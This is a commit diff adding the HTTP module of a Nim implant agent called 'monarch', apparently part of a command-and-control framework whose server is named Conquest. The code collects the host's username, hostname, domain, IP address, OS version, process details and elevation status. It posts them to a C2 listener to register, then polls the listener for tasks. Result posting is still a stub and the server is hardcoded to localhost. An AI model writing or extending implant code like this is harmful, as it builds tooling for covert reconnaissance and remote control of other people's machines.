Added monarch agent

agents/monarch/http.nim

@@ -0,0 +1,54 @@
+import httpclient, json, strformat, asyncdispatch
+
+import ./[types, agentinfo]
+
+proc register*(listener: string): string = 
+
+    let client = newAsyncHttpClient()
+
+    # Define headers
+    client.headers = newHttpHeaders({ "Content-Type": "application/json" })
+    
+    # Create registration payload
+    let body = %*{
+        "username": getUsername(),
+        "hostname":getHostname(),
+        "domain": getDomain(),
+        "ip": getIPv4Address(),
+        "os": getOSVersion(),
+        "process": getProcessExe(),
+        "pid":  getProcessId(),
+        "elevated": isElevated()
+    }
+
+    echo $body
+
+    try:
+        # Register agent to the Conquest server
+        let responseBody = waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
+        return responseBody
+    except HttpRequestError as err:
+        echo "Registration failed"
+        quit(0)
+    finally:
+        client.close()
+
+proc getTasks*(listener: string, agent: string): seq[Task] = 
+
+    let client = newAsyncHttpClient()
+
+    try:
+        # Register agent to the Conquest server
+        let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks")
+        echo responseBody
+
+    except HttpRequestError as err:
+        echo "Not found"
+        quit(0)
+    finally:
+        client.close()
+
+    return @[]
+
+proc postResults*(listener: string, agent: string, results: string) = 
+    discard